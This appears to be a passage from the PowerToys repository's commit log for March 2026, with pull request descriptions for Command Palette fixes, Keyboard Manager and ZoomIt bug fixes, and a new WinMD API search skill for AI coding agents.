repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-10 22:37:51 -04:00
Jiří Polášek
414ee86fb3 CmdPal: make RDP fallback non-global by default (#46053)
## Summary of the Pull Request

This PR makes RDP fallback non-global by default.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-10 22:37:01 -04:00
Gordon Lam
eeeb6c0c93 feat(winmd-api-search): add WinMD cache generator script and related files (#45606)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Adds a new Copilot agent skill (`winmd-api-search`) that lets AI agents
discover and explore Windows desktop APIs by searching a local cache of
WinMD metadata. The skill covers Windows Platform SDK, WinAppSDK/WinUI,
NuGet package WinMDs, and project-output WinMDs — providing full API
surface details (types, members, enumeration values, namespaces) without
needing external documentation lookups.

**Key components:**

- `.github/skills/winmd-api-search/SKILL.md` — Skill definition with
usage instructions, search/detail workflows, and scoring guidance
- `scripts/Invoke-WinMdQuery.ps1` — PowerShell query engine supporting
actions: `search`, `type`, `members`, `enums`, `namespaces`, `stats`,
`projects`
- `scripts/Update-WinMdCache.ps1` — Orchestrator that builds the C#
cache generator, discovers project files, and runs the generator
- `scripts/cache-generator/CacheGenerator.csproj` + `Program.cs` — .NET
console app using `System.Reflection.Metadata` to parse WinMD files from
NuGet packages, project references, Windows SDK, and packages.config
into per-package JSON caches
- `scripts/cache-generator/Directory.Build.props`,
`Directory.Build.targets`, `Directory.Packages.props` — Empty isolation
files to prevent repo-level Central Package Management and build targets
from interfering with this standalone tool

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx <!-- Replace with issue number if applicable -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass — N/A: This is an offline
agent skill (PowerShell + standalone .NET tool) with no integration into
the main product build or runtime. Validated manually by running the
cache generator across multiple project contexts (ColorPickerUI,
CmdPal.UI, runner, ImageResizer, etc.) and exercising all query actions.
- [ ] **Localization:** All end-user-facing strings can be localized —
N/A: No end-user-facing strings; this is an internal developer/agent
tool
- [ ] **Dev docs:** Added/updated — The SKILL.md itself serves as the
documentation
- [ ] **New binaries:** Added on the required places — N/A: The cache
generator is a standalone dev-time tool, not shipped in the installer
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: N/A

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

### Cache Generator (`Program.cs`, ~1000 lines)

A self-contained .NET console app that:

1. **Discovers WinMD sources** from four channels:
   - `project.assets.json` (PackageReference — modern .csproj/.vcxproj)
   - `packages.config` (legacy NuGet format)
- `<ProjectReference>` bin/ output (class libraries producing `.winmd`)
   - Windows SDK `UnionMetadata/` (highest installed version)

2. **Parses WinMD files** using `System.Reflection.Metadata` /
`PEReader` to extract:
- Types (classes, structs, interfaces, enums, delegates) with full
namespace
- Members (methods with decoded signatures/parameters, properties with
accessors, events)
   - Enum values
   - Base types and type kinds

3. **Outputs per-package JSON** under `Generated Files/winmd-cache/`:
- `packages/<Id>/<Version>/meta.json` — package summary
(type/member/namespace counts)
   - `packages/<Id>/<Version>/namespaces.json` — ordered namespace list
- `packages/<Id>/<Version>/types/<Namespace>.json` — full type detail
per namespace
- `projects/<ProjectName>.json` — maps each project to its package set

4. **Deduplicates** at the package level — if a package+version is
already cached, it's skipped on subsequent runs.

### Build Isolation

Three empty MSBuild files (`Directory.Build.props`,
`Directory.Build.targets`, `Directory.Packages.props`) in the
cache-generator folder prevent the repo's Central Package Management and
shared build configuration from interfering with this standalone tool.

### Query Engine (`Invoke-WinMdQuery.ps1`)

Supports seven actions: `search` (fuzzy text search across
types/members), `type` (full detail for a specific type), `members`
(filtered members of a type), `enums` (enumeration values), `namespaces`
(list all namespaces), `stats` (cache statistics), and `projects` (list
cached projects with their packages).

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

1. **Cache generation:** Ran `Update-WinMdCache.ps1` across 310+ project
files in the repo — 8 packages parsed, 316 reused from cache, all
completed without errors
2. **Query testing on multiple projects:**
   - `ColorPickerUI` — verified Windows SDK baseline (7,023 types)
- `Microsoft.CmdPal.UI.ViewModels` (after restore) — verified 13
packages, 49,799 types, 112,131 members including WinAppSDK,
AdaptiveCards, CsWinRT, Win32Metadata
   - `runner` (C++ vcxproj) — verified packages.config fallback path
   - `ImageResizerExt` — verified project reference WinMD discovery
3. **All seven query actions validated:** `stats`, `search`,
`namespaces`, `type`, `enums`, `members`, `projects` — all returned
correct results
4. **Spell-check compliance:** SKILL.md vocabulary reviewed against
repo's check-spelling dictionaries; replaced flagged words with standard
alternatives

---------

Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-03-11 10:15:32 +08:00
Jaylyn Barbee
70e082ce4f [Keyboard Manager] Replace text update (#46046)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Doing multiple text replacements in a row was unresponsive and laggy.
This PR addresses that issue.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46031 

## Validation steps
- Tested before according to the above issue, observed the bug
- Tested and refined the experience manually both locally and with the
exe from the CI build
2026-03-10 21:31:14 -04:00
Niels Laute
8404bfbebb CmdPal-New extension - Show error when path does not exist (#46037)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

If path does not exist, error message is shown vs nothing

<img width="1194" height="899" alt="image"
src="https://github.com/user-attachments/assets/ee40e49c-185c-418a-9815-1ad46d976a0e"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #38320
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-10 15:07:39 -04:00
Jiří Polášek
77412d1961 Settings: Add a solution filter for PowerToys Settings UI and related projects (#46036)
## Summary of the Pull Request

This PR adds a solution filter for projects related to PowerToys
Settings

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-10 15:05:28 -04:00
Niels Laute
fad5a3ac69 Adding NEW tag to KBM and Dock (#46048)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<img width="325" height="206" alt="image"
src="https://github.com/user-attachments/assets/aab57a42-747d-4437-9326-2b9cfcdc8b80"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-10 14:59:48 -04:00
Niels Laute
52cab7058a [CmdPal DetailsView] Resetting scroll upon selection (#46038)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

To test:
- Open WinGet, search for PowerToys
- Select an option, scroll down in the DetailsPage
- Use the arrow code to select up / down

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #38334
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-10 19:47:51 +01:00
Niels Laute
35a3c55f29 [CmdPal] Minor string tweaks (#46040)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Before:
<img width="1198" height="718" alt="image"
src="https://github.com/user-attachments/assets/79a23cb3-93c6-4960-afc5-60c147f8ae92"
/>

After:
<img width="1175" height="716" alt="image"
src="https://github.com/user-attachments/assets/c4ea1e2d-ad47-4203-a77a-99f22bcfb448"
/>

<img width="630" height="434" alt="image"
src="https://github.com/user-attachments/assets/8ad1d424-2907-4599-965d-1193effaf7bd"
/>

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #38730 (a lot of the suggestions there were already
resolved.
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Copilot <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
2026-03-10 19:47:38 +01:00
Kai Tao
ed16ae7b2a Zoomit: Fix a issue that after trim, the video can't be saved and we can't start a new recording session (#46034)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

The bug was caused by a resource lifetime issue between the recording
phase and the save/trim phase. After a recording stopped,
StartRecordingAsync moved directly into the save workflow while it was
still holding the temporary recording stream and the active recording
session objects, later file operations in the save flow could fail
against that same file. Once that happened, ZoomIt could end up stuck in
a bad state where the first save did not complete cleanly and subsequent
recording attempts would no longer start until ZoomIt was restarted.



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
As title
- [ ] Closes: #46006
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Validated locally recording works fine when trimmed
2026-03-10 16:41:15 +01:00
Niels Laute
f049cc5839 Setting MinWidth on Shortcut user control (#46035)
Closes: #45683
2026-03-10 10:37:09 +00:00
Kai Tao
f82fb2a411 Newplus: Change the built-in newplus status will trigger error (#46029)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fix #46026
<!-- Please review the items on the PR checklist before submitting-->

## PR Checklist

- [ ] Closes: #46026
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed



https://github.com/user-attachments/assets/9150c15e-6478-46f2-92fa-771cdcc0ad01
2026-03-10 16:58:46 +08:00
Jiří Polášek
90131e35d9 CmdPal: Prevent unsynchornized access to More commands (#46020)
## Summary of the Pull Request

This PR fixes a crash caused by unsynchronized access to a context menu:

- Fixes `System.ArgumentException: Destination array was not long
enough` crash in `CommandItemViewModel.AllCommands` caused by
`List<T>.AddRange()` racing with background `BuildAndInitMoreCommands`
mutations
- Replaces mutable `List<T>` public surfaces with immutable array
snapshots protected by a `Lock`; writers hold the lock, mutate the
backing list, then atomically publish new snapshots via `volatile`
fields that readers access lock-free
- Applies the same snapshot pattern to `ContentPageViewModel`, using a
bundled `CommandSnapshot` object for atomic publication (since
`PrimaryCommand` drives command invocation there, not just UI hints)
- Narrows `IContextMenuContext.MoreCommands` and `AllCommands` from
`List<T>`/`IEnumerable<T>` to `IReadOnlyList<T>` to prevent consumers
from casting back and mutating
- Moves `SafeCleanup()` calls outside locks in cleanup paths to avoid
holding the lock during cross-process RPC calls

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45975 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-09 17:34:44 -05:00
Jiří Polášek
77355ef2fb CmdPal: change visibility of a search box before bailing out (#46021)
## Summary of the Pull Request

This PR ensures the search box visibility is correctly set by moving the
assignment before the short-circuit bail-out when the window is no
longer visible.

Regressed in 4959273

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46019 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-09 17:32:57 -05:00
Jiří Polášek
a130969d0a CmdPal: Fix selection desync when clearing search query (#45949)
## Summary of the Pull Request

A single search-text change produces multiple ItemsUpdated callbacks. A
later soft update (ForceFirstItem=false) could overwrite the prior
force-first intent, restoring a stale sticky selection.

- Adds latched _forceFirstPending flag that survives across successive
ItemsUpdated passes until selection stabilizes or user navigates;
- Fixes scroll position on first-item reselection via UpdateLayout +
ScrollToItem + ResetScrollToTop in the deferred callback.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45948 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-09 15:12:53 -04:00
Jaylyn Barbee
d1605640ca [Keyboard Manager] Adding KBM to shortcut list on Dashboard page (#45938)
Found during manual testing
Open (new) Keyboard Manager shortcut is now shown in the "Shortcuts"
menu when the module is enabled and the new editor is being used.
<img width="1453" height="1367" alt="image"
src="https://github.com/user-attachments/assets/05de4337-9420-460c-b579-8f471a49d4f6"
/>
2026-03-09 19:06:56 +01:00
Noraa Junker
9859fb6196 Enhance bug report template with file upload option (#46015)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Adds an upload field for the bug report ZIP-file to the bug report issue
template.

<img width="982" height="157" alt="image"
src="https://github.com/user-attachments/assets/5b7175d7-eacf-4748-93e8-304a027de005"
/>

## PR Checklist

<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-03-09 18:18:25 +01:00
Mike Griese
3bd85efc56 CmdPal: update template project to 0.9 (#46010)
Update the template project to the
[0.9.260303001](https://www.nuget.org/packages/Microsoft.CommandPalette.Extensions/0.9.260303001)
SDK
2026-03-09 12:01:26 +00:00
Jiří Polášek
f8453214fb CmdPal: add locking TopLevelCommandManager.DockBands (#45898)
## Summary of the Pull Request

- Put enumeration of DockBands in
TopLevelCommandManager.ExtensionService_OnExtensionRemoved under correct
lock
- Return a snapshot of the dock bands list to prevent reading DockBands
without lock outside of TopLevelCommandManager

## PR Checklist

- [x] Closes: #45893
2026-03-09 06:48:58 -05:00
Kai Tao
0aca7c292c Cursor Wrap: Reverse the wrap mode (hold ctrl or shift) to wrap (#46009)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Currently, hold ctrl or shift to disable wrap, which is inverse with
existing similar thing in mouse without borders,
reverse the behavior, so we hold ctrl or shift to wrap.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #46005
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Verified locally, everything works as expected, hold ctrl and shift will
trigger the wrap, other wise not if select the corresponding option
2026-03-09 12:21:24 +01:00
Jiří Polášek
c6f1a09fa2 CmdPal: Handle an empty icon in dock items (#45968)
## Summary of the Pull Request

This PR allows dock to handle items without an icon better:

- Hides the icon element when a dock item is not visible and center text
labels in vertical dock modes.
- Adds an icon to clock dock wrapper, so it appears in settings.
- Stretches buttons with icon and labels in the vertical docks to the
full width.
- Fixes `IconInfoViewModel.IconForTheme` method implementation.

## Pictures? Pictures!

Horizontal Dock:

<img width="393" height="84" alt="image"
src="https://github.com/user-attachments/assets/d12aa406-da9d-4bd2-b464-595deab41d2e"
/>

<img width="390" height="105" alt="image"
src="https://github.com/user-attachments/assets/c28d65c0-1023-47d0-9ff5-85c74a18c342"
/>


Vertical Dock:

<img width="153" height="258" alt="image"
src="https://github.com/user-attachments/assets/e1be59d9-fa1f-4a24-b0c1-e8cff4211906"
/>

Settings:

<img width="1266" height="713" alt="image"
src="https://github.com/user-attachments/assets/722d47da-c668-4df2-9f1d-bf7808333be4"
/>



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45955
2026-03-09 06:17:56 -05:00
Jiří Polášek
b72224ea0b CmdPal: Ensure IconBox uses an initialized scale (#45980)
## Summary of the Pull Request

This PR makes sure that IconBox is using valid scale to prevent
defaulting to 0 and using poorly resizes full-scale image:

<img width="81" height="79" alt="image"
src="https://github.com/user-attachments/assets/55bbb08f-6f78-4c19-b7a6-748176dee9c8"
/>
vs 
<img width="89" height="88" alt="image"
